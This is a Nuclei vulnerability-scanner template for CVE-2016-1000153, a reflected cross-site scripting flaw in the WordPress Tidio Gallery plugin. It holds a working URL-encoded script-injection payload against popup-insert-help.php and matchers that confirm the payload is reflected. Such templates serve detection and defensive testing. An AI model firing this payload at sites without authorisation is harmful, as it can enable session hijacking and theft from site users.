id: CVE-2016-1000153

info:
  name: WordPress Tidio Gallery <=1.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress plugin tidio-gallery v1.1 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Tidio Gallery plugin (1.1 or higher) to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000153
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=427
    - https://wordpress.org/plugins/tidio-gallery
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000153
    cwe-id: CWE-79
    epss-score: 0.04486
    epss-percentile: 0.9024
    cpe: cpe:2.3:a:tidio-gallery_project:tidio-gallery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "tidio-gallery_project"
    product: "tidio-gallery"
    framework: wordpress
  tags: cve2016,cve,wordpress,xss,wp-plugin,tidio-gallery_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/tidio-gallery/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Tidio Gallery'
          - 'Tags:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/tidio-gallery/popup-insert-help.php?galleryId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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